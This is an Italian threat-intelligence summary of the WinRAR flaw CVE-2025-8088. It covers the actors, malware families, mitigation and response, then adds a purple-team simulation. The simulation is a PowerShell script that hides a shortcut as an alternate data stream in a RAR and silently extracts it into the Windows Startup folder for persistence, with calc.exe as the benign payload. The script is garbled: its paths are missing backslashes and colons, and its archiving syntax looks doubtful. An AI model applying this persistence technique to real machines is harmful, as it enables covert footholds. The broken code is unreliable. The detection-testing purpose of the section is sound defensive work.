CVE-2025-8088: Diversi Attori Malintenzionati Sfruttano una Critica Vulnerabilità di WinRAR

Riassunto

Il Google Threat Intelligence Group segnala un’ampia esplorazione del CVE-2025-8088, un difetto di attraversamento percorso di WinRAR di alta gravità. Gli avversari lo utilizzano per posizionare file malevoli nella cartella di avvio di Windows per ottenere persistenza. Sia i gruppi supportati dallo stato che quelli a scopo di lucro stanno sfruttando l’exploit per distribuire RAT, downloader e payload successivi. Il rapporto condivide indicatori oltre a suggerimenti per la rilevazione e mitigazione.

Indagine

I ricercatori hanno legato diversi attori—UNC4895, APT44, Turla e un gruppo basato nella RPC—a archivi RAR creati per abusare degli Alternate Data Streams (ADS) per rilasciare file LNK, HTA o BAT in avvio. Alcuni archivi hanno inscenato gestori LNK che lanciano HTA o BAT al login. Le famiglie di malware osservate includono NESTPACKER, POISONIVY, XWorm e AsyncRAT. Infrastruttura condivisa e riutilizzo di codice exploit sono apparsi in campagne mirate all’Ucraina e ad altre regioni.

Mitigazione

Aggiornare WinRAR alla versione 7.13+ e applicare liste di permessi per le applicazioni. Ridurre l’esposizione degli ADS dove possibile e monitorare la cartella di avvio per nuovi file LNK, HTA, BAT, o script. Applicare Google Safe Browsing e controlli di sicurezza email per bloccare archivi malevoli precocemente.

Risposta

Rilevare la creazione di file nel percorso di avvio legata all’estrazione RAR, in particolare collegamenti e script. Correlare gli avvisi con nomi di file e hash noti, mettere in quarantena gli host affetti, confermare la famiglia di malware e rimuovere la persistenza di avvio durante la risposta all’incidente.

Esecuzione della Simulazione

Prerequisito: Il Controllo Preliminare di Telemetria & Baseline deve essere stato superato.

Motivo: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per innescare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

• Narrativa dell’Attacco & Comandi:
  Un attaccante crea un archivio RAR malevolo che incorpora un collegamento Windows (malicious.lnk) come un flusso di dati alternativo attaccato a un PDF dall’aspetto innocuo (innocuous.pdf). Sfruttando CVE‑2025‑8088, l’attaccante sa che WinRAR estrarrà direttamente il ADS nel percorso di destinazione senza sanificare il nome del flusso. L’archivio viene consegnato alla macchina vittima (ad esempio, tramite phishing). L’attaccante poi esegue WinRAR in modalità silenziosa per estrarre il payload direttamente nella cartella di avvio dell’utente corrente, ottenendo persistenza.

  1. Creare il payload LNK malevolo (un collegamento che lancia cmd.exe /c calc.exe).
  2. Allega il LNK come un ADS a innocuous.pdf all’interno del RAR.
  3. Consegna il RAR alla vittima.
  4. Esegui l’estrazione di WinRAR nella directory di avvio.

• Script di Test di Regressione:

  # --------------------------------------------------------------
  # Script PowerShell per simulare la persistenza LNK-ADS CVE‑2025‑8088
  # --------------------------------------------------------------
  
  # 1. Variabili
  $tempDir      = "$envTEMPLNK_ADS_Test"
  $pdfPath      = "$tempDirinnocuous.pdf"
  $lnkPath      = "$tempDirmalicious.lnk"
  $rarPath      = "$tempDirmalicious.rar"
  $startupPath  = "$envAPPDATAMicrosoftWindowsStart MenuProgramsStartup"
  
  # Assicurare spazio di lavoro pulito
  Remove-Item -Recurse -Force $tempDir -ErrorAction SilentlyContinue
  New-Item -ItemType Directory -Path $tempDir | Out-Null
  
  # 2. Crea un PDF dummy (file vuoto funziona per la dimostrazione ADS)
  New-Item -ItemType File -Path $pdfPath | Out-Null
  
  # 3. Crea collegamento malevolo LNK puntando a calcolatrice
  $ws = New-Object -ComObject WScript.Shell
  $shortcut = $ws.CreateShortcut($lnkPath)
  $shortcut.TargetPath = "calc.exe"
  $shortcut.WindowStyle = 1
  $shortcut.Save()
  
  # 4. Imballa PDF e allega LNK come ADS usando CLI WinRAR
  #    La sintassi crea un ADS chiamato "malicious.lnk" allegato al PDF.
  & "C:Program FilesWinRARWinRAR.exe" a -df $rarPath $pdfPath "$lnkPath:malicious.lnk"
  
  # 5. Estrarre RAR direttamente nella cartella di avvio (modalità silenziosa)
  & "C:Program FilesWinRARWinRAR.exe" x -inul $rarPath $startupPath
  
  # 6. Verificare che il LNK ora esista in avvio (sarà visibile come un normale .lnk)
  $extractedLnk = Join-Path $startupPath "malicious.lnk"
  if (Test-Path $extractedLnk) {
      Write-Host "[+] Collegamento malevolo distribuito in Avvio: $extractedLnk"
  } else {
      Write-Error "[-] Collegamento non trovato – l'estrazione potrebbe aver fallito."
  }
  
  # --------------------------------------------------------------
  # Fine dello script
  # --------------------------------------------------------------

• Comandi di Pulizia:

  # Rimuovere il collegamento malevolo da Avvio
  $lnk = "$envAPPDATAMicrosoftWindowsStart MenuProgramsStartupmalicious.lnk"
  if (Test-Path $lnk) { Remove-Item -Force $lnk }
  
  # Elimina file e directory temporanee
  $temp = "$envTEMPLNK_ADS_Test"
  if (Test-Path $temp) { Remove-Item -Recurse -Force $temp }

Fine del Rapporto